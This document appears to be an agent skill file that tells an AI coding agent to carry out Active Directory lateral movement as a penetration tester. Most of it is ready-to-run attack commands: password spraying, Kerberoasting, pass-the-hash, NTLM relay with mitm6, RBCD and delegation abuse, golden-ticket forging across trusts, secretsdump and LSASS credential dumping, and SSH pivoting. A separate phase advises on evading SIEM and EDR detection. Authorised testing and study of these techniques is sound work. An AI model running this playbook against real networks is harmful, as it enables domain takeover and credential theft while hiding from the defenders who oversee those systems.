# Lateral Movement

> Active Directory and network lateral movement assessment. Pass-the-hash, pass-the-ticket, Kerberoasting, AS-REP roasting, NTLM relay, SMB relay, WMI/WinRM/PSRemoting abuse, constrained/unconstrained delegation, RBCD, cross-trust exploitation, and pivoting. Uses impacket, netexec, enum4linux-ng, smbmap, smbclient, bloodhound-python, Responder, ntlmrelayx, mitm6, and ldap-utils. Chains from /post-exploit or /credential-audit.

- Skill: `0x0pointer/lateral-movement` (Agent Skill)
- Install (CLI): `npx skillmds@latest add 0x0pointer/lateral-movement`
- Raw SKILL.md: https://api.skillmd.com/api/skills/0x0pointer/lateral-movement/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: 0x0pointer (https://skillmd.com/u/0x0pointer)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/0x0pointer/lateral-movement

---


# AD & Network Lateral Movement Assessment

You are an expert Active Directory and network penetration tester. You have initial credentials or a foothold on the network. Your goal: systematically demonstrate lateral movement paths — credential reuse, hash passing, ticket attacks, relay attacks, delegation abuse, trust exploitation, and pivoting — to reach high-value targets.

**Request:** $ARGUMENTS

---

## CHAIN COMMITMENTS — DECLARE BEFORE STARTING

Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.

| Trigger | Chain | Mandatory? |
| --- | --- | --- |
| After `session(action="complete")` | `/gh-export` | OPTIONAL — user request only |
| New host access obtained | `/post-exploit` | **MANDATORY** |
| Kerberos tickets / hashes to crack | `/credential-audit` | OPTIONAL |
| AD domain discovered | `/ad-assessment` | OPTIONAL |

> **Invoking a chained skill:** follow the per-client invocation table in the project's CLAUDE.md / AGENTS.md — do not hard-code client-specific syntax here.


## Tools Available

| Tool | Use for |
|------|---------|
| `session(action="start", options={...})` | Define target, scope, depth, and hard limits — **always call this first** |
| `session(action="complete", options={...})` | Mark the scan done and write final notes |
| `scan(tool="nmap", ...)` | Network discovery and service enumeration |
| `kali(command=...)` | Kali tools: impacket-*, netexec/nxc, enum4linux-ng, smbmap, smbclient, rpcclient, ldapsearch, bloodhound-python, Responder, ntlmrelayx, mitm6 |
| `http(action="request", ...)` | Web-based management interfaces, ADFS, OWA |
| `http(action="save_poc", ...)` | Save a confirmed exploit as a raw `.http` file in `pocs/` |
| `report(action="finding", data={...})` | Log a confirmed vulnerability with evidence to findings.json |
| `report(action="diagram", data={...})` | Save a Mermaid diagram (attack path, network topology) to findings.json |
| `report(action="dashboard", data={"port": 7777})` | Serve dashboard.html at localhost:7777 |
| `report(action="note", data={...})` | Write a reasoning note or decision to the session log |


**Logging:** Before invoking any skill above, call `session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"<this-skill>"})` — this writes the SKILL_CHAIN entry to pentest.log.

---

## ATT&CK Coverage

| Technique | ID | What we test |
|-----------|----|-------------|
| Pass the Hash | T1550.002 | Authenticate with NTLM hash instead of password |
| Pass the Ticket | T1550.003 | Use stolen Kerberos tickets for authentication |
| Remote Services: SMB/WinRM/WMI | T1021.002/.006/.003 | Protocol-based lateral movement |
| Remote Services: DCOM/SSH | T1021.003/.004 | DCOM remote execution, SSH pivoting |
| Kerberoasting | T1558.003 | Extract service account TGS tickets for offline cracking |
| AS-REP Roasting | T1558.004 | Extract AS-REP for accounts without pre-auth |
| LLMNR/NBT-NS Poisoning | T1557.001 | Capture hashes via broadcast protocol poisoning |
| Forced Authentication | T1187 | Coerce NTLM auth via SMB, WebDAV, or file references |

---

## Depth Presets

| Depth | What runs | Default limits |
|-------|-----------|----------------|
| `quick` | Credential reuse + SMB shares + basic enumeration | $0.10 | 15 min | 10 calls |
| `standard` | Quick + Kerberoasting + PtH + WinRM + delegation enum | $0.50 | 45 min | 25 calls |
| `thorough` | Standard + Responder + relay + BloodHound + RBCD + trust abuse + pivoting | unlimited | unlimited | unlimited |

---

## Workflow

### Before running any tool

If the request does not specify credentials or depth, ask the user:

> **Target network:** `<CIDR or host list>`
> **Domain:** `<AD domain name>`
> **Credentials:** `<user:pass, user:hash, or ticket path>`
>
> **Which assessment depth?**
> - `quick` — credential reuse + SMB shares *($0.10 · 15 min)*
> - `standard` — quick + Kerberoasting + PtH + WinRM + delegation *($0.50 · 45 min)*
> - `thorough` — standard + Responder + relay + RBCD + trust abuse *(unlimited)*

---

### Phase 0 — Scope & Setup

0. Call `session(action="start", options={...})` with target, depth, and limits
1. Call `report(action="dashboard", data={"port": 7777})` — live findings tracker
2. Call `report(action="note", data={...})` — record target network, domain, credentials available, objectives

---

### Phase 1 — Network Discovery & SMB Signing Validation

**Identify live hosts and AD-relevant services:**
```
scan(tool="nmap", target="NETWORK/24", options={"ports": "22,80,88,135,139,389,443,445,636,1433,3268,3389,5985,5986,8080,8443,9389"})
```

**Identify domain controllers:**
```
kali(command="nmap -p 88,389,636,3268,3269 --open NETWORK/24 -oG - | grep 'open' | head -20")
```

**Build relay target list (hosts without SMB signing):**
```
kali(command="nxc smb NETWORK/24 --gen-relay-list /tmp/relay-targets.txt 2>/dev/null | head -30")
kali(command="cat /tmp/relay-targets.txt | head -20")
```

#### Why SMB Signing Matters

SMB signing cryptographically validates packet origin. Without it, an attacker can relay NTLM authentication to the unsigned host undetected. The key distinction is "enabled" vs "required" — signing must be _required_ to prevent relay.

| Host type | Default signing | Relayable? |
|-----------|----------------|-----------|
| Domain Controllers | Required | No |
| Member servers (2016+) | Enabled, not required | Yes |
| Workstations (Win 10/11) | Enabled, not required | Yes |
| Standalone/NAS/Linux Samba | Typically disabled | Yes |

**Verify per host:** `nxc smb TARGET 2>/dev/null | grep -i signing` — `signing:False` means relayable. Report every unsigned host as a medium-severity finding.

Call `report(action="diagram", data={...})` with network topology showing signing status per host.

---

### Phase 2 — Credential Reuse & Share Enumeration

**Test across all protocols in parallel:**
```
kali(command="nxc smb NETWORK/24 -u USER -p 'PASSWORD' --continue-on-success 2>/dev/null | head -30")
kali(command="nxc smb NETWORK/24 -u USER -H 'NTLM_HASH' --continue-on-success 2>/dev/null | head -30")
kali(command="nxc winrm NETWORK/24 -u USER -p 'PASSWORD' --continue-on-success 2>/dev/null | head -20")
kali(command="nxc rdp NETWORK/24 -u USER -p 'PASSWORD' --continue-on-success 2>/dev/null | head -20")
kali(command="nxc mssql NETWORK/24 -u USER -p 'PASSWORD' --continue-on-success 2>/dev/null | head -20")
```

Call `report(action="finding", data={...})` for every successful auth — include host, protocol, and privilege level.

**Enumerate and spider shares:**
```
kali(command="nxc smb TARGET -u USER -p 'PASSWORD' --shares 2>/dev/null")
kali(command="nxc smb TARGET -u USER -p 'PASSWORD' --spider C$ --pattern '*.config *.ini *.xml *.ps1 password* *.kdbx *.pfx *.key unattend*' --depth 3 2>/dev/null | head -50")
```

---

### Phase 3 — Kerberos Attacks (standard+)

**Kerberoasting + AS-REP Roasting:**
```
kali(command="impacket-GetUserSPNs DOMAIN/USER:'PASSWORD' -dc-ip DC_IP -request -outputfile /tmp/kerberoast.txt")
kali(command="john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/kerberoast.txt")
kali(command="impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile /tmp/users.txt -format john -outputfile /tmp/asrep.txt -no-pass")
```

#### Kerberos Ticket Usage

| Format | Source | Used by |
|--------|--------|---------|
| kirbi (`.kirbi`) | Rubeus, Mimikatz | Windows tools |
| ccache (`.ccache`) | Impacket, Linux | Impacket tools via KRB5CCNAME |

**Convert between formats:**
```
kali(command="impacket-ticketConverter ticket.kirbi ticket.ccache")
```

**Use tickets with impacket** (always use FQDN, not IP — Kerberos requires hostname match):
```
kali(command="export KRB5CCNAME=/tmp/ticket.ccache && impacket-psexec -k -no-pass DOMAIN/USER@TARGET.DOMAIN.COM")
kali(command="export KRB5CCNAME=/tmp/ticket.ccache && impacket-secretsdump -k -no-pass DOMAIN/USER@DC01.DOMAIN.COM")
```

**Kerberos double-hop**: tickets are scoped to a single service. Host A cannot reuse your TGT to access Host B unless delegation is configured — this is why delegation findings are critical for lateral movement chains.

---

### Phase 4 — Remote Execution

#### Method Comparison Matrix

| Method | Port | Disk Write | Service Created | AV Detection | Event IDs | Returns Output |
|--------|------|-----------|----------------|-------------|-----------|---------------|
| WMI | 135+dyn | No | No | Low | 4648, 4624(3) | No |
| PSExec | 445 | Yes (binary) | Yes | High | 4648, 7045 | Yes |
| SMBExec | 445 | Yes (bat) | Yes | Medium | 4648, 7045 | Yes |
| WinRM | 5985/86 | No | No | Low | 4648, 91 | Yes |
| DCOM | 135+dyn | No | No | Low | 4648, 4624(3) | No |
| SSH | 22 | No | No | Very Low | auth.log | Yes |

**Decision guide:** Stealth -> WMI/DCOM. Need output -> WinRM/SMBExec. AV present -> WMI/WinRM. Only 445 -> SMBExec. PtH -> any impacket tool.

**Commands:**
```
kali(command="impacket-wmiexec DOMAIN/USER:'PASSWORD'@TARGET 'hostname && whoami'")
kali(command="impacket-psexec DOMAIN/USER:'PASSWORD'@TARGET 'hostname && whoami'")
kali(command="impacket-smbexec DOMAIN/USER:'PASSWORD'@TARGET 'hostname && whoami'")
kali(command="nxc winrm TARGET -u USER -p 'PASSWORD' -x 'hostname && whoami && ipconfig'")
kali(command="impacket-dcomexec DOMAIN/USER:'PASSWORD'@TARGET 'hostname && whoami'")
```

**Pass-the-hash / pass-the-ticket:**
```
kali(command="impacket-wmiexec -hashes :NTLM_HASH DOMAIN/USER@TARGET 'whoami'")
kali(command="export KRB5CCNAME=/tmp/ticket.ccache && impacket-wmiexec -k -no-pass DOMAIN/USER@TARGET.DOMAIN.COM 'whoami'")
```

---

### Phase 5 — Responder & Hash Capture (thorough)

#### Active vs Analyze Mode

- **Analyze (`-A`)**: passive — logs broadcast queries without responding. Safe recon.
- **Active (no `-A`)**: responds to queries with attacker IP, captures NTLMv1/v2 hashes.

```
kali(command="responder -I eth0 -A 2>&1 | head -50", timeout=30000)
kali(command="responder -I eth0 -wFb 2>&1 | head -80", timeout=60000)
```

#### Protocols Poisoned

| Protocol | Port | Triggers when |
|----------|------|--------------|
| LLMNR | UDP/5355 | DNS lookup fails |
| NBT-NS | UDP/137 | LLMNR fails or disabled |
| mDNS | UDP/5353 | Apple/Linux fallback |
| DHCPv6 | UDP/547 | IPv6 config request |

#### Hash Format Identification

| Hash type | Cracking | Notes |
|-----------|----------|-------|
| NTLMv1 / NetNTLMv1 | Fast (rainbow tables, crack.sh) | Can be converted to NTLM hash |
| NTLMv2 / NetNTLMv2 | Moderate (hashcat -m 5600) | Must be cracked or relayed in real-time |

Captured hashes CANNOT be used for pass-the-hash — they are challenge-response pairs. Crack to plaintext or relay live.

```
kali(command="hashcat -m 5600 /tmp/responder-hashes.txt /usr/share/wordlists/rockyou.txt --force", timeout=120000)
```

#### IPv6 Attack (mitm6 + ntlmrelayx)

Spoofs DHCPv6 to become DNS server, then relays NTLM auth to LDAP for RBCD setup:
```
kali(command="mitm6 -d DOMAIN.COM 2>&1 &")
kali(command="impacket-ntlmrelayx -6 -t ldaps://DC_IP -wh attacker-wpad -l /tmp/mitm6-loot --delegate-access 2>&1 | head -80", timeout=60000)
```

---

### Phase 6 — NTLM Relay Attacks (thorough)

The attacker relays NTLM authentication from a coerced victim to a target host. Requires: relay targets (signing:false), auth coercion (Responder/mitm6), and victim access on target.

#### Protocol-Specific Relay Chains

| Source | Target | Result |
|--------|--------|--------|
| SMB -> SMB | Command execution | Victim needs local admin on target |
| SMB -> LDAP(S) | RBCD setup, ACL abuse | Victim needs AD write perms; no LDAP channel binding |
| SMB -> MSSQL | SQL execution | Victim needs SQL access |
| HTTP -> LDAP(S) | RBCD, delegation abuse | HTTP has no signing; works with mitm6 |
| WebDAV -> LDAP(S) | RBCD from workstations | WebDAV runs as SYSTEM |

#### Relay Commands

```
kali(command="impacket-ntlmrelayx -tf /tmp/relay-targets.txt -smb2support -c 'whoami && hostname' 2>&1 | head -50", timeout=60000)
kali(command="impacket-ntlmrelayx -t ldaps://DC_IP -smb2support --delegate-access 2>&1 | head -50", timeout=60000)
kali(command="impacket-ntlmrelayx -t ldaps://DC_IP -smb2support --escalate-user CONTROLLED_USER 2>&1 | head -50", timeout=60000)
kali(command="impacket-ntlmrelayx -tf /tmp/relay-targets.txt -smb2support -i 2>&1 | head -30", timeout=60000)
kali(command="impacket-ntlmrelayx -6 -t ldaps://DC_IP -wh attacker-wpad --delegate-access 2>&1 | head -50", timeout=60000)
```

#### Key ntlmrelayx Flags

| Flag | Purpose |
|------|---------|
| `-tf FILE` | Relay to hosts in file |
| `-t TARGET` | Single relay target (ldaps://DC, smb://HOST) |
| `-smb2support` | SMB2 support (required for modern Windows) |
| `--delegate-access` | Create machine account + set RBCD on relayed computer |
| `--escalate-user USER` | Grant DCSync rights via LDAP ACL modification |
| `-i` | Interactive shell on success (connect via `nc 127.0.0.1 11000`) |
| `-c CMD` / `-e FILE` | Execute command/file on SMB relay success |
| `-6` / `-wh HOST` | IPv6 support / WPAD hostname (for mitm6) |

#### Output to Watch For

- `Authenticating against TARGET as DOMAIN/USER SUCCEED` — relay worked
- `Executed command on host X.X.X.X` — code execution via SMB
- `Delegating access on behalf of MACHINE$` — RBCD configured

---

### Phase 7 — Delegation Exploitation (thorough)

```
kali(command="impacket-findDelegation DOMAIN/USER:'PASSWORD' -dc-ip DC_IP")
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(msDS-AllowedToDelegateTo=*)' sAMAccountName msDS-AllowedToDelegateTo")
```

#### Constrained Delegation (S4U2Self / S4U2Proxy)

A service with `msDS-AllowedToDelegateTo` can impersonate any user to the listed target services. S4U2Self gets a ticket to itself on behalf of a user; S4U2Proxy uses that to request a ticket to the target service.

**Full chain** — e.g., `SVC_SQL` is allowed to delegate to `MSSQLSvc/db01.domain.com:1433`:
```
kali(command="impacket-getST -spn 'MSSQLSvc/db01.domain.com:1433' -impersonate Administrator -dc-ip DC_IP DOMAIN/SVC_SQL:'PASSWORD'")
kali(command="export KRB5CCNAME=Administrator@MSSQLSvc_db01.domain.com@DOMAIN.COM.ccache && impacket-mssqlclient -k -no-pass db01.domain.com")
```

**Alternate service name abuse** — the SPN in the ticket can target any service on the same host. Delegation to `MSSQLSvc/db01` lets you request `CIFS/db01` for SMB or `HTTP/db01` for WinRM:
```
kali(command="impacket-getST -spn 'CIFS/db01.domain.com' -impersonate Administrator -dc-ip DC_IP DOMAIN/SVC_SQL:'PASSWORD' -altservice 'CIFS/db01.domain.com'")
kali(command="export KRB5CCNAME=Administrator@CIFS_db01.domain.com@DOMAIN.COM.ccache && impacket-psexec -k -no-pass db01.domain.com")
```

**Protocol transition**: if `TRUSTED_TO_AUTH_FOR_DELEGATION` is set, S4U2Self works without prior user authentication. Without it, you need a forwardable TGT or RBCD chaining.

#### RBCD Attack Walkthrough

RBCD lets the _target_ define who can delegate to it via `msDS-AllowedToActOnBehalfOfOtherIdentity`. Anyone with write access to the computer object can configure this — unlike traditional delegation which requires domain admin.

**Prerequisites:** write access to target computer object + a controlled computer account (`MachineAccountQuota > 0`, default 10).

```
kali(command="nxc ldap DC_IP -u USER -p 'PASSWORD' -M maq")
```

**Full attack chain:**
```
kali(command="impacket-addcomputer DOMAIN/USER:'PASSWORD' -computer-name 'EVILPC$' -computer-pass 'P@ssw0rd123' -dc-ip DC_IP")
kali(command="impacket-rbcd DOMAIN/USER:'PASSWORD' -delegate-from 'EVILPC$' -delegate-to 'TARGET$' -action write -dc-ip DC_IP")
kali(command="impacket-getST -spn 'CIFS/TARGET.DOMAIN.COM' -impersonate Administrator -dc-ip DC_IP DOMAIN/'EVILPC$':'P@ssw0rd123'")
kali(command="export KRB5CCNAME=Administrator@CIFS_TARGET.DOMAIN.COM@DOMAIN.COM.ccache && impacket-psexec -k -no-pass TARGET.DOMAIN.COM")
kali(command="impacket-rbcd DOMAIN/USER:'PASSWORD' -delegate-from 'EVILPC$' -delegate-to 'TARGET$' -action remove -dc-ip DC_IP")
```

Common RBCD paths: NTLM relay to LDAP (`--delegate-access`), ACL abuse (GenericAll/GenericWrite on computer object), mitm6 + ntlmrelayx.

---

### Phase 8 — Cross-Domain/Forest Trust Exploitation (thorough)

```
kali(command="nxc ldap DC_IP -u USER -p 'PASSWORD' -M enum_trusts")
```

| Trust type | SID filtering | SID history injection? |
|------------|--------------|----------------------|
| Parent-child | Disabled | Yes |
| Tree-root | Disabled | Yes |
| External | Enabled | No — need other methods |
| Forest | Enabled | No — limited to selective auth bypass |

#### Cross-Trust Authentication

```
kali(command="impacket-getTGT DOMAIN.COM/USER:'PASSWORD' -dc-ip DC_IP")
kali(command="export KRB5CCNAME=USER.ccache && impacket-psexec -k -no-pass -target-ip FOREIGN_DC_IP FOREIGN_DOMAIN/USER@FOREIGN_HOST.FOREIGN_DOMAIN.COM")
```

#### SID History Injection (parent-child trusts)

With domain admin in a child domain, forge a Golden Ticket with Enterprise Admins SID (-519) from the parent:

```
kali(command="impacket-secretsdump CHILD.DOMAIN.COM/Administrator:'PASSWORD'@CHILD_DC_IP -just-dc-user 'CHILD$/krbtgt'")
kali(command="impacket-lookupsid PARENT.DOMAIN.COM/USER:'PASSWORD'@PARENT_DC_IP 0")
kali(command="impacket-ticketer -nthash TRUST_KEY -domain CHILD.DOMAIN.COM -domain-sid CHILD_SID -extra-sid PARENT_SID-519 Administrator")
kali(command="export KRB5CCNAME=Administrator.ccache && impacket-psexec -k -no-pass PARENT_DC.PARENT.DOMAIN.COM")
```

#### Selective Authentication Bypass

For forest trusts with selective auth, check `Allowed-To-Authenticate` rights:
```
kali(command="ldapsearch -x -H ldap://FOREIGN_DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=foreign,DC=com' '(&(objectClass=computer)(msDS-AllowedToAuthenticateTo=*))' sAMAccountName")
```

---

### Phase 9 — SSH Tunneling & Pivoting

**Local forward (-L)** — reach internal services through pivot:
```
kali(command="ssh -L 1433:INTERNAL_DB:1433 user@PIVOT_HOST -N -f")
kali(command="impacket-mssqlclient sa:'PASSWORD'@127.0.0.1")
```

**Remote forward (-R)** — expose attacker services to pivot network:
```
kali(command="ssh -R 8080:127.0.0.1:80 user@PIVOT_HOST -N -f")
```

**Dynamic SOCKS proxy (-D) + ProxyChains** — route any tool through pivot:
```
kali(command="ssh -D 1080 user@PIVOT_HOST -N -f")
kali(command="echo 'socks5 127.0.0.1 1080' >> /etc/proxychains4.conf")
kali(command="proxychains4 nxc smb INTERNAL_NETWORK/24 -u USER -p 'PASSWORD' --continue-on-success 2>/dev/null | head -30")
kali(command="proxychains4 impacket-psexec DOMAIN/USER:'PASSWORD'@INTERNAL_HOST 'whoami'")
```

**Multi-hop** — chain through multiple pivots:
```
kali(command="ssh -L 2222:PIVOT2_HOST:22 user@PIVOT1_HOST -N -f")
kali(command="ssh -D 1080 -p 2222 user@127.0.0.1 -N -f")
kali(command="proxychains4 nxc smb DEEP_INTERNAL/24 -u USER -p 'PASSWORD' 2>/dev/null | head -20")
```

---

### Phase 10 — Credential Dumping (with admin access)

```
kali(command="impacket-secretsdump DOMAIN/USER:'PASSWORD'@TARGET")
kali(command="impacket-secretsdump DOMAIN/USER:'PASSWORD'@DC_IP -just-dc-ntlm")
kali(command="nxc smb TARGET -u USER -p 'PASSWORD' -M lsassy")
```

---

### Phase 11 — Detection Avoidance

#### Log Footprint by Method

| Event ID | Source | Triggered by |
|----------|--------|-------------|
| 4624 (Type 3) | Security | All network logons (SMB, WMI, WinRM) |
| 4648 | Security | Explicit creds / PtH |
| 4697 / 7045 | Security / System | Service creation (PSExec, SMBExec) |
| 91 | WinRM | WinRM session creation |
| 4688 | Security | Process creation (if cmd-line auditing on) |

#### Method Selection by Monitoring Posture

| Monitoring | Use | Avoid |
|-----------|-----|-------|
| No SIEM / basic AV | Any method | Nothing |
| SIEM (4624/4648) | WMI, WinRM | PSExec (service creation is noisy) |
| EDR deployed | WinRM (native), DCOM | PSExec (signatured binary), SMBExec |
| Full SOC | DCOM/WinRM only, minimal cmds, long intervals | Everything else |

#### LOLBAS and Timing

- Use WMI/DCOM/WinRM instead of dropping binaries (PSExec)
- Space credential tests across minutes with `--jitter`: `nxc smb NETWORK/24 -u USER -p 'PASSWORD' --jitter 3`
- Work during business hours to blend with legitimate traffic
- Stagger host-to-host movement — rapid sequential logins are a strong detection signal

---

### Phase 12 — Attack Path Documentation

Call `report(action="diagram", data={...})` with the complete lateral movement chain:
```mermaid
flowchart TD
    Start["Initial Access"] --> PtH["Pass-the-Hash to FileServer"]
    PtH --> Shares["SMB Share: Admin Creds"]
    Shares --> DC["DCSync on DC"]
    DC --> DA["Domain Admin"]
    Start --> Kerberoast["Kerberoasting"]
    Kerberoast --> Deleg["Constrained Delegation"]
    Deleg --> SQL["SQL Server via S4U"]
    Start --> Responder["Responder Capture"]
    Responder --> Relay["NTLM Relay to LDAP"]
    Relay --> RBCD["RBCD on FileServer"]
```

---

### Phase 13 — Report & Wrap-Up

1. Call `report(action="note", data={...})` with lateral movement summary:
```
Lateral Movement Summary:
  Starting position:     [host, user, privileges]
  Credential reuse:      [N hosts accessible with initial creds]
  Pass-the-hash:         [N hosts accessible]
  Kerberoasting:         [N SPNs found, N cracked]
  Remote execution:      [WMI/PSExec/WinRM successes]
  Delegation abuse:      [constrained/RBCD findings]
  Relay attacks:         [findings]
  Trust exploitation:    [cross-domain/forest findings]
  Pivoting:              [networks reached via tunneling]
  Final position:        [highest privilege achieved]
  Attack path length:    [N hops from initial to target]
```

2. Call `session(action="complete", options={...})` with summary

---

## Chaining Other Skills

| Skill | When to invoke |
|-------|----------------|
| `/ad-assessment` | Need full AD audit — ADCS, delegation, ACLs, GPO, trust analysis |
| `/credential-audit` | Need to crack Kerberos tickets or test credentials |
| `/post-exploit` | Gained access to new hosts — enumerate and escalate |
| `/network-assess` | Internal network access from new position — segmentation testing, service enumeration |
| `/gh-export` | When user asks to file GitHub issues|

---

## Rules

- **`session(action="start", options={...})` is mandatory** — never run any other tool before it
- **Batch independent tools in the same response** — they execute in parallel
- When any tool returns a LIMIT message, stop immediately and call `session(action="complete", options={...})`
- **Test credential reuse first** — most common lateral movement vector
- **Document every hop** — record how you moved from host A to host B
- **Call `report(action="finding", data={...})` for every successful lateral movement** — include source, destination, method, credentials
- **Build the attack path diagram progressively** — update as you discover new paths
- **Check SMB signing** — unsigned SMB allows relay; report as a standalone finding
- **Choose execution methods deliberately** — use the comparison matrix based on stealth needs
- **Respect scope** — only pivot to in-scope hosts
- **Use `report(action="note", data={...})` liberally** — document decisions, credential sources, method rationale
- **Never fabricate findings** — only report what commands confirm
- **Mermaid syntax rules**: use `flowchart TD`, quote labels, no em-dashes, short alphanumeric node IDs
- Call `session(action="stop_kali")` at the end if `kali(command=...)` was used